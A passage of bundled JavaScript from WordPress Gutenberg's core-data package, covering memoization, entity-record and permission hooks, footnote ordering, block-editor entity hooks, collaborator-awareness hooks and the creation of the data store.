18501 function memize(fn, options) {
18502 var size2 = 0;
18503 var head;
18504 var tail;
18505 options = options || {};
18506 function memoized() {
18507 var node = head, len = arguments.length, args2, i;
18508 searchCache: while (node) {
18509 if (node.args.length !== arguments.length) {
18510 node = node.next;
18511 continue;
18512 }
18513 for (i = 0; i < len; i++) {
18514 if (node.args[i] !== arguments[i]) {
18515 node = node.next;
18516 continue searchCache;
18517 }
18518 }
18519 if (node !== head) {
18520 if (node === tail) {
18521 tail = node.prev;
18522 }
18523 node.prev.next = node.next;
18524 if (node.next) {
18525 node.next.prev = node.prev;
18526 }
18527 node.next = head;
18528 node.prev = null;
18529 head.prev = node;
18530 head = node;
18531 }
18532 return node.val;
18533 }
18534 args2 = new Array(len);
18535 for (i = 0; i < len; i++) {
18536 args2[i] = arguments[i];
18537 }
18538 node = {
18539 args: args2,
18540 // Generate the result from original function
18541 val: fn.apply(null, args2)
18542 };
18543 if (head) {
18544 head.prev = node;
18545 node.next = head;
18546 } else {
18547 tail = node;
18548 }
18549 if (size2 === /** @type {MemizeOptions} */
18550 options.maxSize) {
18551 tail = /** @type {MemizeCacheNode} */
18552 tail.prev;
18553 tail.next = null;
18554 } else {
18555 size2++;
18556 }
18557 head = node;
18558 return node.val;
18559 }
18560 memoized.clear = function() {
18561 head = null;
18562 tail = null;
18563 size2 = 0;
18564 };
18565 return memoized;
18566 }
18567
18568 // packages/core-data/build-module/hooks/memoize.mjs
18569 var memoize_default = memize;
18570
18571 // packages/core-data/build-module/hooks/constants.mjs
18572 var Status = /* @__PURE__ */ ((Status2) => {
18573 Status2["Idle"] = "IDLE";
18574 Status2["Resolving"] = "RESOLVING";
18575 Status2["Error"] = "ERROR";
18576 Status2["Success"] = "SUCCESS";
18577 return Status2;
18578 })(Status || {});
18579
18580 // packages/core-data/build-module/hooks/use-query-select.mjs
18581 var META_SELECTORS = [
18582 "getIsResolving",
18583 "hasStartedResolution",
18584 "hasFinishedResolution",
18585 "isResolving",
18586 "getCachedResolvers"
18587 ];
18588 function useQuerySelect(mapQuerySelect, deps) {
18589 return (0, import_data11.useSelect)((select5, registry) => {
18590 const resolve = (store2) => enrichSelectors(select5(store2));
18591 return mapQuerySelect(resolve, registry);
18592 }, deps);
18593 }
18594 var enrichSelectors = memoize_default(((selectors) => {
18595 const resolvers = {};
18596 for (const selectorName in selectors) {
18597 if (META_SELECTORS.includes(selectorName)) {
18598 continue;
18599 }
18600 Object.defineProperty(resolvers, selectorName, {
18601 get: () => (...args2) => {
18602 const data = selectors[selectorName](...args2);
18603 const resolutionStatus = selectors.getResolutionState(
18604 selectorName,
18605 args2
18606 )?.status;
18607 let status;
18608 switch (resolutionStatus) {
18609 case "resolving":
18610 status = Status.Resolving;
18611 break;
18612 case "finished":
18613 status = Status.Success;
18614 break;
18615 case "error":
18616 status = Status.Error;
18617 break;
18618 case void 0:
18619 status = Status.Idle;
18620 break;
18621 }
18622 return {
18623 data,
18624 status,
18625 isResolving: status === Status.Resolving,
18626 hasStarted: status !== Status.Idle,
18627 hasResolved: status === Status.Success || status === Status.Error
18628 };
18629 }
18630 });
18631 }
18632 return resolvers;
18633 }));
18634
18635 // packages/core-data/build-module/hooks/use-entity-record.mjs
18636 var EMPTY_OBJECT2 = {};
18637 function useEntityRecord(kind, name, recordId, options = { enabled: true }) {
18638 const { editEntityRecord: editEntityRecord2, saveEditedEntityRecord: saveEditedEntityRecord2 } = (0, import_data12.useDispatch)(store);
18639 const mutations = (0, import_element3.useMemo)(
18640 () => ({
18641 edit: (record2, editOptions = {}) => editEntityRecord2(kind, name, recordId, record2, editOptions),
18642 save: (saveOptions = {}) => saveEditedEntityRecord2(kind, name, recordId, {
18643 throwOnError: true,
18644 ...saveOptions
18645 })
18646 }),
18647 [editEntityRecord2, kind, name, recordId, saveEditedEntityRecord2]
18648 );
18649 const { editedRecord, hasEdits, edits } = (0, import_data12.useSelect)(
18650 (select5) => {
18651 if (!options.enabled) {
18652 return {
18653 editedRecord: EMPTY_OBJECT2,
18654 hasEdits: false,
18655 edits: EMPTY_OBJECT2
18656 };
18657 }
18658 return {
18659 editedRecord: select5(store).getEditedEntityRecord(
18660 kind,
18661 name,
18662 recordId
18663 ),
18664 hasEdits: select5(store).hasEditsForEntityRecord(
18665 kind,
18666 name,
18667 recordId
18668 ),
18669 edits: select5(store).getEntityRecordNonTransientEdits(
18670 kind,
18671 name,
18672 recordId
18673 )
18674 };
18675 },
18676 [kind, name, recordId, options.enabled]
18677 );
18678 const { data: record, ...querySelectRest } = useQuerySelect(
18679 (query) => {
18680 if (!options.enabled) {
18681 return {
18682 data: null
18683 };
18684 }
18685 return query(store).getEntityRecord(kind, name, recordId);
18686 },
18687 [kind, name, recordId, options.enabled]
18688 );
18689 return {
18690 record,
18691 editedRecord,
18692 hasEdits,
18693 edits,
18694 ...querySelectRest,
18695 ...mutations
18696 };
18697 }
18698 function __experimentalUseEntityRecord(kind, name, recordId, options) {
18699 (0, import_deprecated4.default)(`wp.data.__experimentalUseEntityRecord`, {
18700 alternative: "wp.data.useEntityRecord",
18701 since: "6.1"
18702 });
18703 return useEntityRecord(kind, name, recordId, options);
18704 }
18705
18706 // packages/core-data/build-module/hooks/use-entity-records.mjs
18707 var import_url7 = __toESM(require_url(), 1);
18708 var import_deprecated5 = __toESM(require_deprecated(), 1);
18709 var import_data13 = __toESM(require_data(), 1);
18710 var import_element4 = __toESM(require_element(), 1);
18711 var EMPTY_ARRAY = [];
18712 function useEntityRecords(kind, name, queryArgs = {}, options = { enabled: true }) {
18713 const queryAsString = (0, import_url7.addQueryArgs)("", queryArgs);
18714 const { data: records, ...rest } = useQuerySelect(
18715 (query) => {
18716 if (!options.enabled) {
18717 return {
18718 // Avoiding returning a new reference on every execution.
18719 data: EMPTY_ARRAY
18720 };
18721 }
18722 return query(store).getEntityRecords(kind, name, queryArgs);
18723 },
18724 [kind, name, queryAsString, options.enabled]
18725 );
18726 const { totalItems, totalPages } = (0, import_data13.useSelect)(
18727 (select5) => {
18728 if (!options.enabled) {
18729 return {
18730 totalItems: null,
18731 totalPages: null
18732 };
18733 }
18734 return {
18735 totalItems: select5(store).getEntityRecordsTotalItems(
18736 kind,
18737 name,
18738 queryArgs
18739 ),
18740 totalPages: select5(store).getEntityRecordsTotalPages(
18741 kind,
18742 name,
18743 queryArgs
18744 )
18745 };
18746 },
18747 [kind, name, queryAsString, options.enabled]
18748 );
18749 return {
18750 records,
18751 totalItems,
18752 totalPages,
18753 ...rest
18754 };
18755 }
18756 function __experimentalUseEntityRecords(kind, name, queryArgs, options) {
18757 (0, import_deprecated5.default)(`wp.data.__experimentalUseEntityRecords`, {
18758 alternative: "wp.data.useEntityRecords",
18759 since: "6.1"
18760 });
18761 return useEntityRecords(kind, name, queryArgs, options);
18762 }
18763 function useEntityRecordsWithPermissions(kind, name, queryArgs = {}, options = { enabled: true }) {
18764 const entityConfig = (0, import_data13.useSelect)(
18765 (select5) => select5(store).getEntityConfig(kind, name),
18766 [kind, name]
18767 );
18768 const { records: data, ...ret } = useEntityRecords(
18769 kind,
18770 name,
18771 {
18772 ...queryArgs,
18773 // If _fields is provided, we need to include _links in the request for permission caching to work.
18774 ...queryArgs._fields ? {
18775 _fields: [
18776 .../* @__PURE__ */ new Set([
18777 ...get_normalized_comma_separable_default(
18778 queryArgs._fields
18779 ) || [],
18780 "_links"
18781 ])
18782 ].join()
18783 } : {}
18784 },
18785 options
18786 );
18787 const ids = (0, import_element4.useMemo)(
18788 () => data?.map(
18789 // @ts-ignore
18790 (record) => record[entityConfig?.key ?? "id"]
18791 ) ?? [],
18792 [data, entityConfig?.key]
18793 );
18794 const permissions = (0, import_data13.useSelect)(
18795 (select5) => {
18796 const { getEntityRecordsPermissions: getEntityRecordsPermissions2 } = unlock2(
18797 select5(store)
18798 );
18799 return getEntityRecordsPermissions2(kind, name, ids);
18800 },
18801 [ids, kind, name]
18802 );
18803 const dataWithPermissions = (0, import_element4.useMemo)(
18804 () => data?.map((record, index) => ({
18805 // @ts-ignore
18806 ...record,
18807 permissions: permissions[index]
18808 })) ?? [],
18809 [data, permissions]
18810 );
18811 return { records: dataWithPermissions, ...ret };
18812 }
18813
18814 // packages/core-data/build-module/hooks/use-resource-permissions.mjs
18815 var import_deprecated6 = __toESM(require_deprecated(), 1);
18816 var import_warning = __toESM(require_warning(), 1);
18817 function useResourcePermissions(resource, id2) {
18818 const isEntity = typeof resource === "object";
18819 const resourceAsString = isEntity ? JSON.stringify(resource) : resource;
18820 if (isEntity && typeof id2 !== "undefined") {
18821 (0, import_warning.default)(
18822 `When 'resource' is an entity object, passing 'id' as a separate argument isn't supported.`
18823 );
18824 }
18825 return useQuerySelect(
18826 (resolve) => {
18827 const hasId = isEntity ? !!resource.id : !!id2;
18828 const { canUser: canUser3 } = resolve(store);
18829 const create9 = canUser3(
18830 "create",
18831 isEntity ? { kind: resource.kind, name: resource.name } : resource
18832 );
18833 if (!hasId) {
18834 const read2 = canUser3("read", resource);
18835 const isResolving2 = create9.isResolving || read2.isResolving;
18836 const hasResolved2 = create9.hasResolved && read2.hasResolved;
18837 let status2 = Status.Idle;
18838 if (isResolving2) {
18839 status2 = Status.Resolving;
18840 } else if (hasResolved2) {
18841 status2 = Status.Success;
18842 }
18843 return {
18844 status: status2,
18845 isResolving: isResolving2,
18846 hasResolved: hasResolved2,
18847 canCreate: create9.hasResolved && create9.data,
18848 canRead: read2.hasResolved && read2.data
18849 };
18850 }
18851 const read = canUser3("read", resource, id2);
18852 const update = canUser3("update", resource, id2);
18853 const _delete = canUser3("delete", resource, id2);
18854 const isResolving = read.isResolving || create9.isResolving || update.isResolving || _delete.isResolving;
18855 const hasResolved = read.hasResolved && create9.hasResolved && update.hasResolved && _delete.hasResolved;
18856 let status = Status.Idle;
18857 if (isResolving) {
18858 status = Status.Resolving;
18859 } else if (hasResolved) {
18860 status = Status.Success;
18861 }
18862 return {
18863 status,
18864 isResolving,
18865 hasResolved,
18866 canRead: hasResolved && read.data,
18867 canCreate: hasResolved && create9.data,
18868 canUpdate: hasResolved && update.data,
18869 canDelete: hasResolved && _delete.data
18870 };
18871 },
18872 [resourceAsString, id2]
18873 );
18874 }
18875 var use_resource_permissions_default = useResourcePermissions;
18876 function __experimentalUseResourcePermissions(resource, id2) {
18877 (0, import_deprecated6.default)(`wp.data.__experimentalUseResourcePermissions`, {
18878 alternative: "wp.data.useResourcePermissions",
18879 since: "6.1"
18880 });
18881 return useResourcePermissions(resource, id2);
18882 }
18883
18884 // packages/core-data/build-module/hooks/use-entity-block-editor.mjs
18885 var import_element6 = __toESM(require_element(), 1);
18886 var import_data14 = __toESM(require_data(), 1);
18887 var import_blocks5 = __toESM(require_blocks(), 1);
18888
18889 // packages/core-data/build-module/hooks/use-entity-id.mjs
18890 var import_element5 = __toESM(require_element(), 1);
18891 function useEntityId(kind, name) {
18892 const context = (0, import_element5.useContext)(EntityContext);
18893 return context?.[kind]?.[name];
18894 }
18895
18896 // packages/core-data/build-module/footnotes/index.mjs
18897 var import_rich_text4 = __toESM(require_rich_text(), 1);
18898
18899 // packages/core-data/build-module/footnotes/get-rich-text-values-cached.mjs
18900 var import_block_editor5 = __toESM(require_block_editor(), 1);
18901 var unlockedApis;
18902 var cache = /* @__PURE__ */ new WeakMap();
18903 function getRichTextValuesCached(block) {
18904 if (!unlockedApis) {
18905 unlockedApis = unlock2(import_block_editor5.privateApis);
18906 }
18907 if (!cache.has(block)) {
18908 const values = unlockedApis.getRichTextValues([block]);
18909 cache.set(block, values);
18910 }
18911 return cache.get(block);
18912 }
18913
18914 // packages/core-data/build-module/footnotes/get-footnotes-order.mjs
18915 var cache2 = /* @__PURE__ */ new WeakMap();
18916 function getBlockFootnotesOrder(block) {
18917 if (!cache2.has(block)) {
18918 const order = [];
18919 for (const value of getRichTextValuesCached(block)) {
18920 if (!value) {
18921 continue;
18922 }
18923 value.replacements.forEach(({ type, attributes }) => {
18924 if (type === "core/footnote") {
18925 order.push(attributes["data-fn"]);
18926 }
18927 });
18928 }
18929 cache2.set(block, order);
18930 }
18931 return cache2.get(block);
18932 }
18933 function getFootnotesOrder(blocks) {
18934 return blocks.flatMap(getBlockFootnotesOrder);
18935 }
18936
18937 // packages/core-data/build-module/footnotes/index.mjs
18938 var oldFootnotes = {};
18939 function updateFootnotesFromMeta(blocks, meta) {
18940 const output = { blocks };
18941 if (!meta) {
18942 return output;
18943 }
18944 if (meta.footnotes === void 0) {
18945 return output;
18946 }
18947 const newOrder = getFootnotesOrder(blocks);
18948 const footnotes = meta.footnotes ? JSON.parse(meta.footnotes) : [];
18949 const currentOrder = footnotes.map((fn) => fn.id);
18950 if (currentOrder.join("") === newOrder.join("")) {
18951 return output;
18952 }
18953 const newFootnotes = newOrder.map(
18954 (fnId) => footnotes.find((fn) => fn.id === fnId) || oldFootnotes[fnId] || {
18955 id: fnId,
18956 content: ""
18957 }
18958 );
18959 function updateAttributes(attributes) {
18960 if (!attributes || Array.isArray(attributes) || typeof attributes !== "object") {
18961 return attributes;
18962 }
18963 attributes = { ...attributes };
18964 for (const key in attributes) {
18965 const value = attributes[key];
18966 if (Array.isArray(value)) {
18967 attributes[key] = value.map(updateAttributes);
18968 continue;
18969 }
18970 if (typeof value !== "string" && !(value instanceof import_rich_text4.RichTextData)) {
18971 continue;
18972 }
18973 const richTextValue = typeof value === "string" ? import_rich_text4.RichTextData.fromHTMLString(value) : new import_rich_text4.RichTextData(value);
18974 let hasFootnotes = false;
18975 richTextValue.replacements.forEach((replacement) => {
18976 if (replacement.type === "core/footnote") {
18977 const id2 = replacement.attributes["data-fn"];
18978 const index = newOrder.indexOf(id2);
18979 const countValue = (0, import_rich_text4.create)({
18980 html: replacement.innerHTML
18981 });
18982 countValue.text = String(index + 1);
18983 countValue.formats = Array.from(
18984 { length: countValue.text.length },
18985 () => countValue.formats[0]
18986 );
18987 countValue.replacements = Array.from(
18988 { length: countValue.text.length },
18989 () => countValue.replacements[0]
18990 );
18991 replacement.innerHTML = (0, import_rich_text4.toHTMLString)({
18992 value: countValue
18993 });
18994 hasFootnotes = true;
18995 }
18996 });
18997 if (hasFootnotes) {
18998 attributes[key] = typeof value === "string" ? richTextValue.toHTMLString() : richTextValue;
18999 }
19000 }
19001 return attributes;
19002 }
19003 function updateBlocksAttributes(__blocks) {
19004 return __blocks.map((block) => {
19005 return {
19006 ...block,
19007 attributes: updateAttributes(block.attributes),
19008 innerBlocks: updateBlocksAttributes(block.innerBlocks)
19009 };
19010 });
19011 }
19012 const newBlocks = updateBlocksAttributes(blocks);
19013 oldFootnotes = {
19014 ...oldFootnotes,
19015 ...footnotes.reduce((acc, fn) => {
19016 if (!newOrder.includes(fn.id)) {
19017 acc[fn.id] = fn;
19018 }
19019 return acc;
19020 }, {})
19021 };
19022 return {
19023 meta: {
19024 ...meta,
19025 footnotes: JSON.stringify(newFootnotes)
19026 },
19027 blocks: newBlocks
19028 };
19029 }
19030
19031 // packages/core-data/build-module/hooks/use-entity-block-editor.mjs
19032 var EMPTY_ARRAY2 = [];
19033 var parsedBlocksCache = /* @__PURE__ */ new Map();
19034 function useEntityBlockEditor(kind, name, { id: _id } = {}) {
19035 const providerId = useEntityId(kind, name);
19036 const id2 = _id ?? providerId;
19037 const { content, editedBlocks, meta } = (0, import_data14.useSelect)(
19038 (select5) => {
19039 if (!id2) {
19040 return {};
19041 }
19042 const { getEditedEntityRecord: getEditedEntityRecord3 } = select5(STORE_NAME);
19043 const editedRecord = getEditedEntityRecord3(kind, name, id2);
19044 return {
19045 editedBlocks: editedRecord.blocks,
19046 content: editedRecord.content,
19047 meta: editedRecord.meta
19048 };
19049 },
19050 [kind, name, id2]
19051 );
19052 const { __unstableCreateUndoLevel: __unstableCreateUndoLevel2, editEntityRecord: editEntityRecord2 } = (0, import_data14.useDispatch)(STORE_NAME);
19053 const blocks = (0, import_element6.useMemo)(() => {
19054 if (!id2) {
19055 return void 0;
19056 }
19057 if (editedBlocks) {
19058 return editedBlocks;
19059 }
19060 if (!content || typeof content !== "string") {
19061 return EMPTY_ARRAY2;
19062 }
19063 const cacheKey = `${kind}:${name}:${id2}`;
19064 const cached = parsedBlocksCache.get(cacheKey);
19065 let _blocks;
19066 if (cached && cached.content === content) {
19067 _blocks = cached.blocks;
19068 } else {
19069 _blocks = (0, import_blocks5.parse)(content);
19070 parsedBlocksCache.set(cacheKey, { content, blocks: _blocks });
19071 }
19072 return _blocks;
19073 }, [kind, name, id2, editedBlocks, content]);
19074 const onChange = (0, import_element6.useCallback)(
19075 (newBlocks, options) => {
19076 const noChange = blocks === newBlocks;
19077 if (noChange) {
19078 return __unstableCreateUndoLevel2(kind, name, id2);
19079 }
19080 const { selection, ...rest } = options;
19081 const edits = {
19082 selection,
19083 content: ({ blocks: blocksForSerialization = [] }) => (0, import_blocks5.__unstableSerializeAndClean)(blocksForSerialization),
19084 ...updateFootnotesFromMeta(newBlocks, meta)
19085 };
19086 editEntityRecord2(kind, name, id2, edits, {
19087 isCached: false,
19088 ...rest
19089 });
19090 },
19091 [
19092 kind,
19093 name,
19094 id2,
19095 blocks,
19096 meta,
19097 __unstableCreateUndoLevel2,
19098 editEntityRecord2
19099 ]
19100 );
19101 const onInput = (0, import_element6.useCallback)(
19102 (newBlocks, options) => {
19103 const { selection, ...rest } = options;
19104 const edits = {
19105 selection,
19106 ...updateFootnotesFromMeta(newBlocks, meta)
19107 };
19108 editEntityRecord2(kind, name, id2, edits, {
19109 isCached: true,
19110 ...rest
19111 });
19112 },
19113 [kind, name, id2, meta, editEntityRecord2]
19114 );
19115 return [blocks, onInput, onChange];
19116 }
19117
19118 // packages/core-data/build-module/hooks/use-entity-prop.mjs
19119 var import_element7 = __toESM(require_element(), 1);
19120 var import_data15 = __toESM(require_data(), 1);
19121 function useEntityProp(kind, name, prop, _id) {
19122 const providerId = useEntityId(kind, name);
19123 const id2 = _id ?? providerId;
19124 const context = (0, import_element7.useContext)(EntityContext);
19125 const revisionId = context?.revisionId;
19126 const { value, fullValue } = (0, import_data15.useSelect)(
19127 (select5) => {
19128 if (revisionId) {
19129 const revisions = select5(STORE_NAME).getRevisions(
19130 kind,
19131 name,
19132 id2,
19133 {
19134 per_page: -1,
19135 context: "edit",
19136 _fields: "id,date,author,meta,title.raw,excerpt.raw,content.raw"
19137 }
19138 );
19139 const entityConfig = select5(STORE_NAME).getEntityConfig(
19140 kind,
19141 name
19142 );
19143 const revKey = entityConfig?.revisionKey || DEFAULT_ENTITY_KEY;
19144 const revision = revisions?.find(
19145 (r) => r[revKey] === revisionId
19146 );
19147 return revision ? {
19148 value: revision[prop]?.raw ?? revision[prop],
19149 fullValue: revision[prop]
19150 } : {};
19151 }
19152 const { getEntityRecord: getEntityRecord3, getEditedEntityRecord: getEditedEntityRecord3 } = select5(STORE_NAME);
19153 const record = getEntityRecord3(kind, name, id2);
19154 const editedRecord = getEditedEntityRecord3(kind, name, id2);
19155 return record && editedRecord ? {
19156 value: editedRecord[prop],
19157 fullValue: record[prop]
19158 } : {};
19159 },
19160 [kind, name, id2, prop, revisionId]
19161 );
19162 const { editEntityRecord: editEntityRecord2 } = (0, import_data15.useDispatch)(STORE_NAME);
19163 const setValue = (0, import_element7.useCallback)(
19164 (newValue) => {
19165 if (revisionId) {
19166 return;
19167 }
19168 editEntityRecord2(kind, name, id2, {
19169 [prop]: newValue
19170 });
19171 },
19172 [editEntityRecord2, kind, name, id2, prop, revisionId]
19173 );
19174 return [value, setValue, fullValue];
19175 }
19176
19177 // packages/core-data/build-module/hooks/use-post-editor-awareness-state.mjs
19178 var import_compose3 = __toESM(require_compose(), 1);
19179 var import_element8 = __toESM(require_element(), 1);
19180 var defaultResolvedSelection = {
19181 richTextOffset: null,
19182 localClientId: null
19183 };
19184 var defaultState = {
19185 activeCollaborators: [],
19186 resolveSelection: () => defaultResolvedSelection,
19187 getDebugData: () => ({
19188 doc: {},
19189 clients: {},
19190 collaboratorMap: {}
19191 }),
19192 isCurrentCollaboratorDisconnected: false
19193 };
19194 function getAwarenessState(awareness, newState) {
19195 const activeCollaborators = newState ?? awareness.getCurrentState();
19196 return {
19197 activeCollaborators,
19198 resolveSelection: (selection) => awareness.convertSelectionStateToAbsolute(selection),
19199 getDebugData: () => awareness.getDebugData(),
19200 isCurrentCollaboratorDisconnected: activeCollaborators.find((collaborator) => collaborator.isMe)?.isConnected === false
19201 };
19202 }
19203 function usePostEditorAwarenessState(postId, postType) {
19204 const [state, setState] = (0, import_element8.useState)(defaultState);
19205 (0, import_element8.useEffect)(() => {
19206 if (null === postId || null === postType) {
19207 setState(defaultState);
19208 return;
19209 }
19210 const objectType = `postType/${postType}`;
19211 const objectId = postId.toString();
19212 const awareness = getSyncManager()?.getAwareness(
19213 objectType,
19214 objectId
19215 );
19216 if (!awareness) {
19217 setState(defaultState);
19218 return;
19219 }
19220 awareness.setUp();
19221 setState(getAwarenessState(awareness));
19222 const unsubscribe = awareness?.onStateChange(
19223 (newState) => {
19224 setState(getAwarenessState(awareness, newState));
19225 }
19226 );
19227 return unsubscribe;
19228 }, [postId, postType]);
19229 return state;
19230 }
19231 function useActiveCollaborators(postId, postType) {
19232 return usePostEditorAwarenessState(postId, postType).activeCollaborators;
19233 }
19234 function useResolvedSelection(postId, postType) {
19235 return usePostEditorAwarenessState(postId, postType).resolveSelection;
19236 }
19237 function useLastPostSave(postId, postType) {
19238 const [lastSave, setLastSave] = (0, import_element8.useState)(null);
19239 (0, import_element8.useEffect)(() => {
19240 if (null === postId || null === postType) {
19241 setLastSave(null);
19242 return;
19243 }
19244 const awareness = getSyncManager()?.getAwareness(
19245 `postType/${postType}`,
19246 postId.toString()
19247 );
19248 if (!awareness) {
19249 setLastSave(null);
19250 return;
19251 }
19252 awareness.setUp();
19253 const stateMap = awareness.doc.getMap("state");
19254 const recordMap = awareness.doc.getMap("document");
19255 const setupTime = Date.now();
19256 const observer = (event) => {
19257 if (event.keysChanged.has("savedAt")) {
19258 const savedAt = stateMap.get("savedAt");
19259 const savedByClientId = stateMap.get("savedBy");
19260 if (typeof savedAt === "number" && typeof savedByClientId === "number" && savedAt > setupTime) {
19261 const postStatus = recordMap.get("status");
19262 setLastSave({ savedAt, savedByClientId, postStatus });
19263 }
19264 }
19265 };
19266 stateMap.observe(observer);
19267 return () => {
19268 stateMap.unobserve(observer);
19269 };
19270 }, [postId, postType]);
19271 return lastSave;
19272 }
19273 function useOnCollaboratorJoin(postId, postType, callback) {
19274 const { activeCollaborators } = usePostEditorAwarenessState(
19275 postId,
19276 postType
19277 );
19278 const prevCollaborators = (0, import_compose3.usePrevious)(activeCollaborators);
19279 (0, import_element8.useEffect)(() => {
19280 if (!prevCollaborators || prevCollaborators.length === 0) {
19281 return;
19282 }
19283 const prevMap = new Map(
19284 prevCollaborators.map((collaborator) => [
19285 collaborator.clientId,
19286 collaborator
19287 ])
19288 );
19289 const me = activeCollaborators.find(
19290 (collaborator) => collaborator.isMe
19291 );
19292 for (const collaborator of activeCollaborators) {
19293 if (!prevMap.has(collaborator.clientId) && !collaborator.isMe) {
19294 callback(collaborator, me);
19295 }
19296 }
19297 }, [activeCollaborators, prevCollaborators, callback]);
19298 }
19299 function useOnCollaboratorLeave(postId, postType, callback) {
19300 const { activeCollaborators } = usePostEditorAwarenessState(
19301 postId,
19302 postType
19303 );
19304 const prevCollaborators = (0, import_compose3.usePrevious)(activeCollaborators);
19305 (0, import_element8.useEffect)(() => {
19306 if (!prevCollaborators || prevCollaborators.length === 0) {
19307 return;
19308 }
19309 const newMap = new Map(
19310 activeCollaborators.map((collaborator) => [
19311 collaborator.clientId,
19312 collaborator
19313 ])
19314 );
19315 for (const prevCollab of prevCollaborators) {
19316 if (prevCollab.isMe || !prevCollab.isConnected) {
19317 continue;
19318 }
19319 const newCollab = newMap.get(prevCollab.clientId);
19320 if (!newCollab?.isConnected) {
19321 callback(prevCollab);
19322 }
19323 }
19324 }, [activeCollaborators, prevCollaborators, callback]);
19325 }
19326 function useOnPostSave(postId, postType, callback) {
19327 const { activeCollaborators } = usePostEditorAwarenessState(
19328 postId,
19329 postType
19330 );
19331 const lastPostSave = useLastPostSave(postId, postType);
19332 const prevPostSave = (0, import_compose3.usePrevious)(lastPostSave);
19333 (0, import_element8.useEffect)(() => {
19334 if (!lastPostSave) {
19335 return;
19336 }
19337 if (prevPostSave && lastPostSave.savedAt === prevPostSave.savedAt) {
19338 return;
19339 }
19340 const saver = activeCollaborators.find(
19341 (collaborator) => collaborator.clientId === lastPostSave.savedByClientId && !collaborator.isMe
19342 );
19343 if (!saver) {
19344 return;
19345 }
19346 callback(lastPostSave, saver, prevPostSave ?? null);
19347 }, [lastPostSave, prevPostSave, activeCollaborators, callback]);
19348 }
19349
19350 // packages/core-data/build-module/private-apis.mjs
19351 var lockedApis = {
19352 useEntityRecordsWithPermissions,
19353 RECEIVE_INTERMEDIATE_RESULTS,
19354 retrySyncConnection,
19355 useActiveCollaborators,
19356 useResolvedSelection,
19357 useOnCollaboratorJoin,
19358 useOnCollaboratorLeave,
19359 useOnPostSave,
19360 SelectionType,
19361 SelectionDirection
19362 };
19363 var privateApis2 = {};
19364 lock2(privateApis2, lockedApis);
19365
19366 // packages/core-data/build-module/index.mjs
19367 var entitiesConfig2 = [
19368 ...rootEntitiesConfig,
19369 ...additionalEntityConfigLoaders.filter((config) => !!config.name)
19370 ];
19371 var entitySelectors = entitiesConfig2.reduce((result, entity2) => {
19372 const { kind, name, plural } = entity2;
19373 const getEntityRecordMethodName = getMethodName(kind, name);
19374 result[getEntityRecordMethodName] = (state, key, query) => {
19375 logEntityDeprecation(kind, name, getEntityRecordMethodName, {
19376 isShorthandSelector: true,
19377 alternativeFunctionName: "getEntityRecord"
19378 });
19379 return getEntityRecord(state, kind, name, key, query);
19380 };
19381 if (plural) {
19382 const getEntityRecordsMethodName = getMethodName(kind, plural, "get");
19383 result[getEntityRecordsMethodName] = (state, query) => {
19384 logEntityDeprecation(kind, name, getEntityRecordsMethodName, {
19385 isShorthandSelector: true,
19386 alternativeFunctionName: "getEntityRecords"
19387 });
19388 return getEntityRecords(state, kind, name, query);
19389 };
19390 }
19391 return result;
19392 }, {});
19393 var entityResolvers = entitiesConfig2.reduce((result, entity2) => {
19394 const { kind, name, plural } = entity2;
19395 const getEntityRecordMethodName = getMethodName(kind, name);
19396 result[getEntityRecordMethodName] = (key, query) => {
19397 logEntityDeprecation(kind, name, getEntityRecordMethodName, {
19398 isShorthandSelector: true,
19399 alternativeFunctionName: "getEntityRecord"
19400 });
19401 return getEntityRecord2(kind, name, key, query);
19402 };
19403 if (plural) {
19404 const getEntityRecordsMethodName = getMethodName(kind, plural, "get");
19405 result[getEntityRecordsMethodName] = (...args2) => {
19406 logEntityDeprecation(kind, plural, getEntityRecordsMethodName, {
19407 isShorthandSelector: true,
19408 alternativeFunctionName: "getEntityRecords"
19409 });
19410 return getEntityRecords2(kind, name, ...args2);
19411 };
19412 result[getEntityRecordsMethodName].shouldInvalidate = (action) => getEntityRecords2.shouldInvalidate(action, kind, name);
19413 }
19414 return result;
19415 }, {});
19416 var entityActions = entitiesConfig2.reduce((result, entity2) => {
19417 const { kind, name } = entity2;
19418 const saveEntityRecordMethodName = getMethodName(kind, name, "save");
19419 result[saveEntityRecordMethodName] = (record, options) => {
19420 logEntityDeprecation(kind, name, saveEntityRecordMethodName, {
19421 isShorthandSelector: true,
19422 alternativeFunctionName: "saveEntityRecord"
19423 });
19424 return saveEntityRecord(kind, name, record, options);
19425 };
19426 const deleteEntityRecordMethodName = getMethodName(kind, name, "delete");
19427 result[deleteEntityRecordMethodName] = (key, query, options) => {
19428 logEntityDeprecation(kind, name, deleteEntityRecordMethodName, {
19429 isShorthandSelector: true,
19430 alternativeFunctionName: "deleteEntityRecord"
19431 });
19432 return deleteEntityRecord(kind, name, key, query, options);
19433 };
19434 return result;
19435 }, {});
19436 var storeConfig = () => ({
19437 reducer: reducer_default2,
19438 actions: {
19439 ...dynamicActions,
19440 ...actions_exports,
19441 ...entityActions,
19442 ...createLocksActions()
19443 },
19444 selectors: {
19445 ...dynamicSelectors,
19446 ...selectors_exports,
19447 ...entitySelectors
19448 },
19449 resolvers: { ...resolvers_exports, ...entityResolvers }
19450 });
19451 var store = (0, import_data16.createReduxStore)(STORE_NAME, storeConfig());
19452 unlock2(store).registerPrivateSelectors(private_selectors_exports);
19453 unlock2(store).registerPrivateActions(private_actions_exports);
19454 (0, import_data16.register)(store);
19455 return __toCommonJS(index_exports);
19456})();
19457